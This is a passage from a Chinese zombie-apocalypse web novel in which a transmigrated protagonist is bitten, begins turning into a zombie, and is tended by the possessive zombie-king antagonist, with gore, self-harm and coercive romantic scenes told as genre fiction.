直到两人站在房门前。 生锈的铁门上贴着斑驳的暗红的年画,男孩掏出钥匙准备开门。 开门声中,楚青琅听见男孩对他说话。 “哥哥,你知道当时的警卫人员都被杀死了吗?” 低头凝视着那双黑黝黝的双眼。 楚青琅温和的笑染上了些微的愁绪。 他说:“知道。” 喀嚓—— 门被打开。 * 厉屿将手上的东西放到了车上。 他在收回手的时候动作顿了下,苍白的手背上有着一道鲜明的红痕。 是在车上蹭的。 当时他抱着楚哥索要亲吻。 哪怕青年被身体上的不适折腾的蜷起了身体,却还是在他靠近的一瞬间,握住了他的手,用手背堵住了嘴。 炽热的温度顺着手腕蔓延,浸入骨髓。 “我好不容易给你弄好的,别又给我弄坏了。” 青年看着他,神情带着些微的埋怨,却又格外迁就,隐忍着放肆他的所有动作。 他几近于痴迷的弓着身子,舔舐着那掌心。 “没关系,谁看我就杀了谁。楚哥,让我亲一口。” 所以,不让他破坏,自己却毁坏承诺。 楚哥支开他想要做什么呢? 去找何复吗? 但是何复现在已经是个丧尸了,再也不能带他逃跑了。 为什么要对一个没用的人那么上心呢? 何复是这样,那些普通人也是这样。 还是去找别人告诉他是个怪物,要借别人的手杀死他? 楚哥一向会引诱人,哪怕只是一面,别人都会对他信服。 所以,去哪里了? 厉屿站在街道上,周围的人经过他时,连看都不敢看一眼。 明明和青年在一起只是个冷淡点的普通人。 但是当然他独自一人时,那种怪异的非人感,还是将他彻底暴露出来。 癫狂欲望叫嚣着,几乎撕裂这幅皮囊。 厉屿的眼皮轻阖,削薄的唇弯曲,连着眼角的脸侧浮现出浅淡纹路。 没关系。 他总会找到他。 第45章 第 45 章 寸寸撑开。 喀嚓—— 门被打开。 楚青琅跟着男孩走进去。 房间里面昏黑一片, 楚青琅只能看见家具模糊的轮框。 男孩却是轻车熟路的走了进去。 脚步极轻,一转眼就没了踪迹。 楚轻琅站在门口,微微蹙眉,正准备开口叫他, 轻微的塑料声响起, 男孩端着一个蜡烛从厨房走了出来。 蜡烛燃烧的气味, 夹杂着一种莫名的臭味, 还有屋子里经年累月的霉气,让楚青琅有些许的不适。 但是他却并没有表现出来。 男孩来到他的面前, 伸手牵住他破碎的衣角,将他引导沙发上坐下。 “抱歉哥哥,我没有能力赚电费,所以只有蜡烛。” 楚青琅温和道:“不需要道歉,你已经很棒了, 你妈妈怎么样了,现在已经到A市了,我可以找医生帮忙给她看一下, 很快就会好的。” 男孩的发有些长了, 遮住双眼, 蜡烛也不是那么的明亮,因此楚青琅看不清他的神色。 他轻声说:“不需要了。” 楚青琅疑惑的嗯了一声, 男孩却忽然抬起头笑了一下, 说:“哥哥等一下,我去给家里的宠物喂一点东西。” 白色的蜡烛被放在玻璃桌上,滴落的蜡油凝固成狰狞的姿态。 男孩转身离去,塑料袋的声音又在屋子里面响起,伴随着一声声仿佛东西掉落在地的沉闷声音。 闪烁的光芒并不能将面容温和的青年全然照亮。 他坐了一会儿, 头微偏,仿佛倾听着什么,随后站起身,一步一步的朝着声音来源的方向走去。 剧情中,直到天命之子杀掉反派,重建家园,做出解药,才把所有人从绝望中拉出来。 但是现在,反派已经重生,且丧尸进化的速度极快,天命之子却还只是个未完全体。 所以楚青琅觉得天命之子并不一定能够杀死反派,而不杀死反派,解药就无法做出来。 何复就会一直是丧尸模样。 那么要怎么才能让反派自愿死亡呢? 楚青琅缓缓走进了那敞开的门扉,浓稠的黑暗缓缓吞噬了他的身影。 啪嚓,打火机的声音响起。 火光后是男孩那张带着阴郁的脸,他依然垂着头,弯腰点起地上摆放的蜡烛,一道道火光亮起,将房间的黑暗驱散。 楚青琅看见了在蜡烛中间安静躺着的女人,女人穿着一身白衣,身上到处都是伤痕,面容带着丧尸特有的清灰,脖颈处是一道几乎将她整个脖子砍下的伤口。 那种莫名的气息又开始弥散,甚至越来越浓郁。 如果经常性做饭的人,大概很快就能够明白这是什么味道。 在看清那个女人的时候,楚青琅面容一瞬间悲伤起来,他问:“怎么回事?” 男孩点完蜡烛,蹲在女人的身边,轻声说:“哥哥怎么会不知道呢?” 楚青琅面上闪过一丝了然,但是他只是沉默。 男孩接着说:“警卫人员死了,我看见了,他们是被那个怪物控制了,然后被那个人给杀死了,接着你们走了,剩下我们。” “那些人搜刮了武器和食物,后面丧尸都被聚集在了一起,他们害怕,就把我和妈妈抛下当作诱饵,自己跑了。” “妈妈为了保护我变成了丧尸。” “我杀了她。” 楚青琅安静的听完,开口道:“你觉得是我的错?” 男孩抬头,大而黑的眼珠毫无生气。 他说:“当然不是哥哥的错,毕竟哥哥也是被他胁迫的,但是那个怪物很喜欢哥哥呢。” 他直视他,眼底迸发出恨意,“都是那个怪物的错,要不是他控制了警卫人员,那些人怎么会死?我妈妈怎么会死?!” “所以。”楚青琅走进,站在蜡烛的边缘,他蹲下身子道:“你想要做什么?” 男孩从妈妈的身边起来,缓步走到楚青琅的身边,眼中是积蓄已久的泪水。 “哥哥不是好奇那个袋子里面是什么吗?抱抱我我就告诉你。” 黑黢黢的双眸定定的瞧着楚青琅,他说:“哥哥,求你了。” 楚青琅看着他,最后缓缓的伸开了双臂,男孩一下子扑了上去,纤瘦冰冷的头颅搭在他的肩膀上,还亲亲密密的蹭了一下。 童声细声细气道:“那里面是肉噢,每天这里都会有很多死人,哥哥进来的时候也看见了吧?他们很多人都会死的,但是并没有人在乎他们。” “如果哥哥出事的话,那个怪物会不会伤心呢?” 男孩的双眼猛地被血色充斥,幼稚的面孔瞬间狰狞起来,他裂开嘴,里面竟然是满口细密的齿。 尖锐的齿刺穿皮肉,极致的疼痛猛地传来。 楚青琅轻轻吸了一口气,按住男孩的后脑,却笑了起来。 如何帮助天命之子杀死反派? 可能是要他变成丧尸吧,为了得到解药,厉屿会乖乖的和他一起上路的。 谁让厉屿让他欠下了这个人情呢? 那么就和他一起还吧。 莫名的,越相处,楚青琅对于厉屿总有一种熟悉的感觉。 他回答男孩的问题,“应该吧。” 厉屿会伤心的。 此时他才想起来,那股味道是燃气。 不知何时开始放的燃气,密闭的空间,点燃的蜡烛。 这小孩是想要拉着他,还有过来找他的厉屿一起下地狱啊。 楚青琅感觉浑身发软,有些喘不上来气。 接着眼前一阵眩晕。 那尖利的齿离开他的脖颈,面前,面容惨白双眼血红的男孩凑到他的面前。 仿佛在观察着什么,又像是在等待着什么。 一道轻微的噼啪声后。 “砰砰砰!!!” 房门猛地撕裂,脚步声沉重急促,不知墙体那里裂开,几道光芒穿透缝隙照射进房间。 楚青琅看见一个熟悉的身影从门外出现。 他喃喃:“小屿。” 彻底昏迷过去。 * 青年倒下的身影长久的在视网膜上留存。 厉屿几乎是本能的跑了过去,将手垫在他的脑后,在摸到人的瞬间将人搂紧。 原本因为青年逃跑而冰封的心脏跳动着,肠胃紧缩,比硬生生咽下那些食物还要疼痛的感觉,不断的刺痛着神经。 无形的尖刀刺穿他的头颅,眼眶咽喉的肌肉不自觉的痉挛。 在一瞬间,他的耳边甚至只有空荡的风声。 但是表面上,他却只是颤抖着手探寻着青年的脉搏,呼吸。 直到感受到那平稳的呼吸和属于人类的温度后,他才浅浅的从那窒息中钻出。 第二次。 这个男孩总会背叛。 他早该杀掉他的,就算是毁掉在楚哥前竖起的形象。 极致的沉默后,厉屿缓缓抬起了头。 猩红的眼眸中是无边的愤怒和杀意。 他死死的看着站在一旁的男孩,一字一句道:“我会让你知道什么叫做——生不如死!” 身后魔藤如蜘蛛一般沿着房屋结构生长。 残肢断臂垂吊,密集牙齿啃噬,萎缩的寄生花生长,各色孢子如烟如雾将整间房屋充斥。 地板上血潮沸腾,白骨裸漏,空洞洞的眼眶盯着站在那里的男孩。 恶意铺天盖地的袭来,男孩却在一瞬间笑了起来,双眼中满是怨毒和畅快。 “怪物!你也会难受啊?!” “失去亲爱的人的滋味,一定很好!!” 尖细的童声,幼稚的面容和前世背叛他时的场景重叠。 “为什么要救我?!都是因为你我才会被妈妈拖累!!为什么不让我死?!” “怪物!我一定要杀了你!!!” 一次又一次,一次又一次。 从学校,到家中,从来没有他的容身之地。 他好不容易找到一个家,一个愿意对他微笑的人,为什么要破坏? 厉屿抱着青年缓缓站起身,他眼珠咕噜的转动了一下,唇裂开,几乎直到耳边。 他凑近青年,血肉蠕动,分裂出丝线将那伤口缓缓复原。 森冷寒意与空中弥散,寸寸僵直人的身躯。 男孩被迫闭上了嘴,他不自觉地用手扣着咽喉。 女人头发散乱的站起身,来到男孩的身后,弯腰覆上了那幼稚的面容,将那血肉扭曲。 空灵的尖叫嬉笑声带着阴气,顺着毛孔钻进。 仿佛骨髓被人嘬取,难以忍受的疼痛和恐惧瞬间蔓延上了那恨意满满的面孔。 男孩瞪大了双眼,他被女人拽起。 “妈妈。” 倾倒的蜡烛一瞬间点燃充溢着整间屋子的气体。 剧烈的爆炸声响彻天空。 腾起的烟雾遮天,阻挡了所有探寻的视线, * 楚青琅艰难的从黑暗中睁开双眼。 柔和的壁灯亮着。 他下意识的伸手摸了下脖子,意外的发现那个伤口已经消失不见。 但是楚青琅并不担心自己会失败。 毕竟丧尸化在解药做出来之前,是不可逆的。 不过伤口都没了,他到底睡了多久? 楚青琅转头,蓦地对上一双深红的眼眸,不由得吓得缩了一下。 厉屿就这样眼也不眨的瞧着他。 仿佛一尊石像。 人类所应有的活动他一概没有,更加透明的皮肤下,筋脉血管具现。 恍惚间,他好像看见一根被拉到极致的琴弦,只要稍微施力。 就会彻底绷断。 楚青琅缓了缓过快的心跳,朝像鬼一样的厉屿露出了安抚的笑。 那一双蓝色的眼眸浮现出星火似的絮状物,沉甸甸的压在厉屿的心中。 他张开嘴,嘶哑着嗓音说:“我在找解药了,楚哥,会没事的。” 楚青琅想要起身,手臂撑在床上,却在一瞬间失去了力气,思维也仿佛感受不到这个器官的存在。 他手臂弯折着扑在了床边。 直到这时,楚青琅才发现自己的身体不对劲。 厉屿弯腰将他扶起。 楚青琅用额头碰了下厉屿的额头,探了探温度,若有所思道:“我在发烧?我是被感染了?” 拥抱着他的人没有说话,但是楚青琅显然从他的态度中寻到了某种确认的答案。 他露出了更加灿烂的笑容,任由厉屿将他的手臂从身后掏出,然后接上。 他施力,用上半身压了下厉屿的肩膀。 “小屿,抱歉。” “但是我并不难过,你看,我现在和你是一样的了。” 不一样! 他们怎么能一样? 某种声音在反驳着,在脑海中大喊,疯狂的撞击着他的灵魂, 因此看见那灿烂的笑容,厉屿却没有像先前那样感到安心,他只觉得恐怖。 莫大的恐怖塞满了他的身躯。 他感觉自己涨成了一个濒临爆发的气球。 而青年轻描淡写的态度便是最后的刺破的针,刺破了那让他保持着仅有理智和体面的表皮,激得他横生怒意。 厉屿顺势压着青年,死死的盯着他的神情。 “你为什么要过去?!你不是一直说不在意他吗?你不是一直为了活着什么都愿意吗?” 幽暗光芒被厉屿彻底阻挡,楚青琅望着那双眼眸,咽喉不自觉的动了一下。 仿佛一柄尖刀死死的顶着他的心脏,刺痛和恐惧使他下意识避开了那逼视过来的视线。 厉屿扭过他的头颅,拨开他的眼皮,和他对视,摘取着他的关注。 面容过度紧绷,锋利骨骼简直要刺穿薄薄面皮。 “楚哥,你是在报复我吗?因为我让何复变成了丧尸?因为我杀死了厉权?” “还是你不想和我这个怪物在一起,是我强迫你,是我强迫你——” 他骤然加大了力气,却又猛地松开,反手划开了自己的咽喉。 穿骨而过的风轻柔带出最后的嘶喊。 “恨我应该杀死我啊?!” “楚哥,我不会反抗的,你去找那些人类,告诉他们我的身份!告诉他们我是怪物!让他们杀死我!!!” “杀死我你就可以自由了!!!” 楚青琅怔然的看着他面庞流淌而出的血泪。 赫赫的气流声中,厉屿瞧过来的神情带着某种更加有力沉重的恨意。 却并没有针对楚青琅,反而是在伤害他自己。 他这才发现厉屿那一只漆黑的眼眸不知何时变成了猩红,眼白满是血丝, 如果没有何复,厉屿也没有出bug爱上他,这确实是他最好的选择。 但是现在。 楚青琅蓝眼睛几近于悲悯的,望着面前哪怕表现的凶狠,却愈发显得狼狈的人。 这就是最好的结局。 厉屿咽喉的伤口生出肉芽,在弥补着这具肉/体,但是每当几乎愈合的时候,尖利的指就会将其重新撕裂。 反反复复。 楚青琅伸手阻止他的动作,拽着他的手臂将人搂进怀中。 抚着那紧绷的脊背,他语气轻柔,仿佛对着不懂事的孩子解答一般。 “小屿,我没有资格恨你,恨你的应该是那些被你杀死的人。我也不恨你,毕竟是你保障了我的生活,所以我怎么会杀死你呢?” “是你在恨我。” “恨我为什么不保护好自己,恨我为什么不遵守诺言,恨我为什么让自己这么痛苦。” “恨我为什么要你爱上我,却抛弃你。” 厉屿的四肢生长出藤蔓,将楚青琅和自己裹的亲密无间。 青年的话语仿佛是一把手术刀,精密准确的将他的灵魂寸寸解剖,然后扔进滚烫的热水中,让他感知疼痛。 他是在地狱吗? 白皙的皮肉下,是青年依然香甜的气息,尖利的齿不自觉的冒出,他张口吸允住那一块的皮肉。 楚青琅仰了一下头,无声喘息着,却依然是微笑,甚至带着鼓励一般的点弄着厉屿的脊背。 他说:“要学着接受意外,别像个孩子一样把所有的错误都揽在自己身上,你已经做的很好了,就算是受到那么多的伤害,却还是尽力的想要把我保护好。” 细长的舌刮蹭着,一点一点的,直到腥红甜腻的气味越来越浓。 厉屿咽下。 心中却始终觉得不满足,空荡荡的,几乎让他哀嚎出声。 “哈啊——” 青年本能的瑟缩着身体,丧尸王对于丧尸是碾压性的。 他可以肆意的伤害他,可以肆意的玩/弄他,甚至于可以彻底的杀死他。 在后背细密温柔的安抚中,厉屿将那弯曲的四肢骨节寸寸撑开,按在柔软的藤蔓上。 柔软青嫩的叶片垫在青年身下,细长的茎叶见缝插针,夹在两人中间汲取着青年流出的液体。 枝叶支着头颅,看着那宝石般的眼眸,生出眼珠轻柔摩挲。 他撕下两人所有的阻碍,两具身躯贴近间,牙齿用力,感受着那奔涌而来甜蜜,填满咽喉肠胃。 【警告!!!】 【考核进度006号丧尸化进度加速,反派丧尸王主动让渡能力——】 【请问是否接受,接受能力此考核世界失败,考核系统006号需在此世界扮演反派直到剧情结束。】 楚青琅身躯不自觉的痉挛,指尖将厉屿的脊背划出一道道伤口。 缓了一会儿,他才分辨清楚系统面板上在说些什么。 这下子,他混沌的甚至都清醒了不少。 怪不得从刚刚开始,他的身体都仿佛浸润在无边温暖的水中,舒畅极了,甚至原本僵化的感官都重新恢复了敏锐。 厉屿竟然要把自己丧尸王的身份让渡给他?! 这可不行! 他可不想在这个bug满地跑的世界呆这么久,谁知道反派出问题了主角会不会出问题啊? 【拒绝。】 【滴——让渡进程已被强制截断。】 “楚哥,楚楚,进来。” 混沌迷乱的嗓音颤抖着,嘶哑的笑断断续续。 “别想离开我。” 彻底变成了怪物的人在青年的怀中发出呓语。 青年每一寸皮肤都被一同吮吸着,包裹着。 两人交换着这高/潮一般的欣悦。 【检测考核系统已感染丧尸病毒,意识存活时间为二十四小时。】 【主系统和主神留言——请006号考核系统继续努力。】 “楚哥好棒,摸摸你的东西。” 眼泪混着血液落下,被细长的舌卷起。 青年终于被撕下那游刃有余的神情,露出了失神的,几近于痛苦的表情。 在他的巢穴中。 【不够!不够!不够!不够!】 【更多!更多!更多!更多!更多!】 【楚楚,楚楚,楚楚,楚楚,楚楚。】 为什么拒绝他? 第46章 第 46 章 三人行?番外 楚青琅睁眼, 起身,感觉到了一种闷热。 他深深的呼吸着,但是却只能汲取一点的氧气,骨骼发涨, 他按了一下自己的肉, 迟钝的触感只能判断出来, 他的皮肤不再像以前那样柔软。 但是这应该是变成丧尸的正常流程吧? 楚青琅因为缺氧, 头颅闷闷的。 他仔细看去,只见原本还是复古风的房间仿佛被飓风入境, 天花板和墙壁都带着刀刃划过的痕迹,那些挂画还有璧灯,都裂成了两半,落在了地上。 他有些发懵的左右看了看。 魔藤顺着他的胸膛爬到肩膀上,然后缠绕着他的脖子蹭着下颌。 楚青琅直到感觉到重量, 用手摸了一下,才发现它在上面,他将好不容易摆好姿势的魔藤拽下。 “你知道厉屿在那里吗?” 昨天为了安抚厉屿他说了许多话, 那些话他现在想起来都有些尴尬。 现在到了验收成果的时候了, 主人公怎么能不在场呢? 面前的一长条恹恹的, 尾巴左右晃着,然后忽地翘起, 缠绕着他的手腕, 开始装死。 虽然楚青琅本来也没有指望一个变异植物说话,但是对于它的动作还是有些哭笑不得,看来昨天厉屿在他睡着后对着魔藤又做了些什么,才导致他现在如此的萎靡不振。 楚青琅下床,任由魔藤挂在他的手腕上, 当作装饰。 他来到衣柜前,缓缓脱下了衣服。 镜子里映出一具皮肉贴合,分布均匀的□□,线条利落流畅,看起来格外漂亮。 在他的脖颈,脊背处,原本白皙的皮肤浮现出了一些小点状的青斑。 楚青琅伸手摸了一下,并没有感受到疼痛或者什么感觉,也就没有再在意。 他换上了一身衬衣长裤,中间再穿裤子的时候,僵硬的肢体差点让他一头栽在地上,还好魔藤警觉,及时变大撑住了他的身体。 二十四小时啊。 修长白皙的手指抹下镜子上的水雾,映出面容俊美笑容温和的面孔,蓝眸里面的血红色絮状物越来越多。 毕竟任务已经彻底失败了,厉屿就算是自己去死也不会主动杀死他。 头一次没有任务的压力。 平白得了这么长的时间,他应该用来干什么呢? 唔,算啦。 先出去看看吧。 楚青琅眨了下眼,转身走了出去。 外面到不像他屋子里面那么混乱,新鲜的花朵,温暖的阳光,璀璨的吊灯,瞧起来依然平和安宁。 楚青琅走下楼梯,一眼就瞧见了坐在餐桌旁瞧着满桌食物发呆的厉屿。 厉屿瞧了青年一整夜。 身边的人类的身躯不像之前那样温热,几乎变得和他一样,身上香甜的气味夹杂着丧尸的腐败气味,却宛如盛开到糜烂的花朵,令人目眩神迷。 他试图放弃自己丧尸王的身份,然后将身份让给青年。 这样他的楚哥就能活下来了。 楚哥那么聪明,那么会掩饰自己,一定会比他活得更好。 但是为什么没有成功呢? 为什么楚哥这么好的一个人不能代替他,反而是他,活了下去。 脑袋胀痛,他按着太阳穴,想要将头盖骨掀开,但是楚哥还在他的怀中。 楚哥已经很累了,不能打扰他。 阳光刺破黑暗的第一缕光芒照射过来的时候,厉屿听见楚哥轻微的抽泣,他在说痛,还有饿。 怀中原本轻飘飘的人突然变得沉甸甸,这份重量使得他被恨意蒙蔽的神志清醒过来。 他轻吻着那滴落的泪水,一遍又一遍。 厉屿将被捏碎又复原的魔藤放出来,让它释放出迷幻的气息。 这种气息一向是捕猎前使用的,可以麻醉人的身体感官,让人在无知无觉中被吃掉。 ——而现在,他的楚哥饿了,他要给楚哥做饭。 他起身,来到厨房,拿出肉和菜,几乎是机械的动作着。 在前世,被父亲抛弃后,他就一个人朝着A市走去,路上碰见了一个车队,他虽然常年健身,但是完全打不过手拿着枪械的人,因此被人当作猪猡养着,肆意打骂。 第一次做饭,就是在那样的情况下学会的。 后面他隐忍着,将那些人全部杀死,一刀一刀的将那些人全部剁成了肉酱。 他拿着武器开着车子离开。 在赶路中间,碰见了那个小孩,他看着小孩可怜,就救下了他。 但是他只带了一个人的食物,就把车子和食物都给了他们。 他自己徒步上路,没有食物,没有水,他就砍杀变异动物,变异植物维持生命。 然后到了A市。 他又一次看见了父亲的那个情人,此时情人已经换了一个人跟。 那个情人皮肉白皙,望过来的视线带着鲜明恶意。 迎着视线,他笑出了声。 厉权带出去的,就是这么个玩意儿。 他真心希望厉权九泉下有知,能够再被气死一回。 应该是他的笑容过于狰狞,那个青年眼中浮现出来了惧怕。 但是他并不在乎。 直到一次任务中,他被青年下药推下了车子,栽进了丧尸堆中。 皮肉被生生啃噬,直到他浑身几乎剩不下什么肉。 他躺在自己的血液上,清晰感知生命力渐渐流逝,还有丧尸病毒在身躯中的踊跃。 心中翻涌的,只有恨意和杀意。 就这样,他硬生生支撑到了天亮,开始慢慢的朝着前方爬去, 渴望着有人救下他。 然后碰见了那个男孩,他以为自己得救了,因此轻易的放松下来。 男孩瞅见他,面上流露出来的,却并不是感激,反而是恨意。 他恨他,因此用石头打断他的四肢将他扔进了魔藤中。 在魔藤的胃液中,他变成了丧尸王。 活了下去。 于是他第一时间杀死了所有的,背叛他的人。 与此同时,他也失去了再次出现在人类面前的资格。 当他每次出现时,迎接他的,从来只有仇恨和恐惧的目光。 他每每都感到不快,想要报复,但是他的那些仇人早已死去。 那么他该恨谁呢? 在漫长的时间中,他长久的思考着这个问题。 他放弃了挣扎,任由那据说可以做出解药的人取出他脑海中的晶石。 随后,便是一道轻微的呼唤声。 他重新睁开了双眼。 在门口叫他的人,是他父亲的亲信,老周。 瞧着光洁的天花板,他重新找到了活着的滋味。 啊,这是在说,他应该恨着他们吗? 于是恨意重新燃起,在那些人的鲜血流淌在他的身上时,他又一次感到了滚烫的温度,和快乐。 他杀死了老周,周经,厉权。 他还将杀死很多人。 从一开始背叛他的同学,朋友,还有那个青年 他控制着丧尸变异,看着在记者会上表现出勉强和为难的人,看着他扯了扯衣领,松了一口气般的动作,还有那雀跃的双眸。 那双眼和前世,为什么不一样? 不过如果感受到恐惧的话,应该会是相同的丑陋吧。 那个青年的鲜血,将带给他最甜蜜的欣悦 “嗒——” 厉屿垂眸,锋利的菜刀深入菜板,不远处,一截惨白指头安静躺着。 他恍然。 他的楚哥。 已经成了丧尸了。 和他一样,不能吃下人类的食物 楚青琅走进,看着桌子上摆放着的各种肉类还有汤饭。 一旁的银盘上还摆放着红润的桃子和圆滚滚的葡萄,枣子。 今天怎么这么丰盛? 楚青琅有些许的意外,他挨着好像在发呆的厉屿,伸手圈住他的手指,说:“小屿?” 厉屿抖了一下,良久,他才扭过头。 楚青琅几乎要被他面上的平静骗了过去。 但是他只能装作什么都没发现的样子,看着厉屿在他面前,做出和先前相同的姿态。 厉屿握住他的手,将魔藤从他的手腕上褪下,放到桌子上。 “你现在不能吃饭,如果感觉到饿的话,吃这个。” 厉屿一只手按着要追过来的魔藤,一只手将一碗鲜红的肉推过来。 楚青琅确实从这个碗中感觉到了一种香甜的气味,但是他现在算是半个丧尸吧。 那么能让丧尸喜欢的东西,简直不言而喻。 楚青琅讪笑着将那碗重新推了回去。 厉屿在一旁静静的瞧着他,说:“不喜欢吗?我带你去,我们自己选” 楚青琅连忙压住他的手,撒娇般的道:“我不饿,而且我现在还算是人欸,人怎么能吃人?别费心了,反正也可以忍受,等我彻底变成丧尸后,估计都不需要你特意端到我的面前,我就会自己去吃了。” 他笑眯眯的,却毫不在意自己说的话语对于一个关心他的人来说,有多伤人。 厉屿闭了闭眼,握着青年的手用力。 语气平淡:“那你要不要喂它吃?反正已经做了。” 楚青琅看了一眼魔藤,本来还在挣扎的魔藤忽地乖巧起来。 表面,裂开一个口子,就像是在笑。 楚青琅便拿起食物,尝试着扔给它。 魔藤接的很准,就好像他真的养了一条小狗一样。 楚青琅抬手摸了摸它的头,对着一直看着他的厉屿道:“还是不要浪费了,等下我们把吃的分给外面的人好了。” 厉屿没有拒绝他,于是两个人找了一些碗,将那些食物装起来,都放进了一个大大的食盒里面。 在走出房门的时候,楚青琅看了一眼外面金红色的太阳,眯了眯眼。 别墅外,是没有及时清理的杂草,夹着魔藤催生的寄生花,虽然杂乱,但是却有着另一番生机勃勃的美好。 楚青琅忽地侧头,扯了扯一直紧紧握着他的手的厉屿道:“我想要在这里种些桃树,我们分完饭去买桃树苗吧。” 厉屿垂眸,看着他蔓延到指尖的青绿色斑点,点了点头。 随后他弯腰将饭盒放到地上,转身重新进入了别墅里。 不一会儿,他走了出来,手上拿着楚青琅挑选的气垫,他打开,对着里面的小镜子动作生涩的朝着脸上缓慢的扑了上去。 虽然青年也变成了丧尸,但是他现在还没有完全的转变,顶多因为高烧,面色红润了一些,并不像厉屿一样不同。 而楚青琅就在一旁笑吟吟的望着他。 * 因为楚青琅的四肢变得僵硬,走路的速度异常的慢,所以当他们走到的时候,天上的太阳已经跑到了正中央。 “这个是你们的。” 楚青琅将一小份饭递给了面容枯瘦的女人。 女人伸手接过,满脸感激的道着谢。 却并未走远,只在巷口就吃了起来。 她很聪明,知道以自己现在的体能是绝对挣不了旁人的,与其便宜了别人,还不如先自己下肚。 楚青琅收回看她的视线,将手中的饭递给了下一个人。 在他的面前是一条长长的队伍。 现在这个场景,人们得到一份方便面都恨不得挖个洞藏起来。 还有人放饭。 不少人看着青年就仿佛是看着冤大头。 很快,厉屿做的饭就分发完毕,还送了一些水果和别的吃的。 “大家先离开吧,已经没有饭了。” 楚青琅慢吞吞的收拾着散乱的食盒,还有一旁的塑料袋。 但是他面前的人却依然没有离去,那些没有领到的人甚至想要伸手直接开抢。 一只手从一旁伸来,握着争抢人的手腕轻轻一掰,就将其折断。 凄惨的叫声响起,剩下的人望着厉屿冷漠的双眼,纷纷离开了此地。 楚青琅却连眉毛都没动一下。 他将收拾好的空盒子递给厉屿,完全忽视那个人的惨状,转身挟着厉屿的胳膊从巷子中走了出来。 外面有着很多小摊摆放。 到了现在,楚青琅几乎是被厉屿架着看,他不时停下脚步看着布料上上面的东西,一脸的好奇。 衣服、鞋子、吃的、喝的,都格外受欢迎,但是除了这些,还有书本、收音机等等。 就是没有卖种子的。 楚青琅皱了皱眉,正准备失望的回去重新看一边,一直跟着的厉屿就将他带到了另一个方向,他说:“我知道在那里。” 他怎么知道? 楚青琅疑惑的望了过去。 厉屿却只是说:“我事先让周经留意了,这种东西,很少有人会留下来,大多数人都习惯直接用桃核种,移栽比较麻烦。” 楚青琅恍然大悟道:“桃核也能种吗?我还以为只能用树苗呢。” 厉屿“嗯”了一声,带上了黑色美瞳的双眼看不出真正的情绪,面容却冷冽极了。 乍一看,楚青琅还以为看见了厉权。 或许是因为,他脑海中关于厉权的印象,本来就是厉屿本身。 厉屿向他讲解如何用桃核栽出桃树。 “需要将桃肉去掉,然后砸开桃核,然后等待种子发芽” 楚青琅在一旁听的津津有味,视线始终柔和。 很快,他们就来到了卖树苗的小摊前。 树苗有的已经蔫蔫的,有的却异常的生龙活虎,楚青琅盯了一会儿,伸手在它们的身上摸了一下。 而在摸到那个生龙活虎的树苗的时候,掌心传来一阵湿濡的感觉,仿佛是谁用舌头舔舐了他一下。 一看就是魔藤伪装的。 楚青琅收回手前,敲了它一下。 仿佛感受到了自己被发现了,那个精神抖擞的树苗,瞬间萎靡了起来。 在他面前,被厉屿盯的浑身僵直的摊主才开始小心翼翼的搭话。 “帅哥要买什么?这里除了有桃树苗,还有很多花朵的种子,像玫瑰啊,海棠百合鸢尾啊” 楚青琅将那多桃树苗抱起,说:“不用,这个就行了。” 摊主连连点头,比了个手势,“五枚晶石就够了,再赠送一本栽种说明。” 走在回到别墅的路上。 楚青琅抱着那盆生机勃勃的树苗慢慢行走。 厉屿沉默的走在他身旁,低眉耷眼,好像他已经死了一样。 楚青琅轻叹一声,凑到他的身旁好奇询问:“小屿,你是怎么控制丧尸的啊?我变成丧尸的话,你能控制我吗?” 厉屿绷紧了下颌,仿佛在压抑着什么即将喷涌而出的情绪。 他勾起了唇,声音嘶哑:“楚哥,你是在故意折磨我吗?” 楚青琅无辜的回望过去,脖颈处已经有着青斑浮现。 他说:“怎么会,我只是在担心你,如果我走了,小屿就真的只剩下一个人了,好可怜。” 楚青琅蓝眸盈着亮光,话语温柔关怀,“所以,如果小屿感觉到孤独的话,可以控制我哦,就当作我还陪在你的身边,对你微笑,关心你,爱你。” 他停下脚步,伸手抚了抚厉屿的眉眼,动作缓慢,皮肤接触间,是相似的冷意。 “小屿之前一直做的很好啊。” 厉屿闭上了眼,明明他没有出声,楚青琅却仿佛听见了一道哀嚎的尖叫,带着撕心裂肺的痛苦。 他伸手攥住他的手腕,额头抵住他的掌心,语气平静。 “楚哥是想厉权了吗?还是何复。” 楚青琅点了点他的鼻梁,又拨弄了一下他的眼睫毛,笑着说:“啊,是想念了。” 厉屿抬头,亲了他的指尖一下。 “我知道了。” 含糊的话混着几乎呕出来的血腥气,厉屿忽的用力将他推到树旁。 楚青琅便明白了,厉屿知道他说的意思了。 吻如暴风雨一般落下。 那双血色眼眸带着遮掩不住的痛苦,楚青琅顺从的张开嘴。 冰冷的手如蛇,黏着肌肤摸下。 楚青琅僵直了一瞬,他把着面前的人的肩膀颤抖。 厉屿声音低哑,带着癫狂。 “楚哥,你是故意的。” 他笑着,眼中却满是绝望。 “就因为他,就让自己感丧尸病毒,就要拉着我去死。” “楚哥,你真狠。” 话语零碎的飘进耳边,却又溜走,楚青琅不由自主颤抖起来。 尖细指甲带着纤细藤蔓缠绕,使他窒息。 尖锐滞痛和麻痒呼啸而来,楚青琅的脑袋几乎空白,他张开嘴,却什么也没能说出来。 随即他的双臂被魔藤反扣,肩膀被用力压在树上,脸侧被柔嫩茎叶托住。 仅存的意识让他堪堪护住幼嫩的桃树苗。 “看着我!” 小腹被冰冷大手死死按住。 算是以楚青琅此时逐渐退化的感知,他也感受到了细密的痛。 是带着怒意的惩罚。 * 不变的太阳悬挂于空中,慷慨的将柔和温暖的光芒洒落。 别墅前,一堆堆的树苗犹带泥土,被平整的摆放在地上。 在土堆前,是手持铁锹的厉屿,他正绷着脸动作生涩的挖着一个个洞。 “对对,好了就是这样。” 楚青琅穿着衬衣长裤走来,碎发下是温和柔软的笑容,一双眼瞧着那些树苗,亮晶晶的,是肉眼可见的兴奋。 只要忽略他肩膀脖颈上的淤青,就是一个温柔俊美的青年。 他将手中的说明书放到躺椅旁的桌子上,随后小心翼翼的捧着一颗树苗递给厉屿,看着他将其栽种进去。 “等到日后就能吃到好吃的桃子了!” 厉屿用铁锹平整着树木边缘的土地,没有说话。 身后,却传来一道嘲讽似的声音。 “你这个十指不沾阳春水的大少爷竟然还认识桃树。” 何复僵硬着动作从身后走来,手中拿着的是一个淡绿色的花洒。他向着已经栽种好的树木浇水,嘴上还不停。 “真厉害。” “复哥是在夸我吗?也是,我确实不如复哥吃的苦多,可是这也不是我的错啊,谁让你们都不忍心呢。”楚青琅歪了歪头,指了指一旁接过来的水管,说:“复哥,那里有水。” 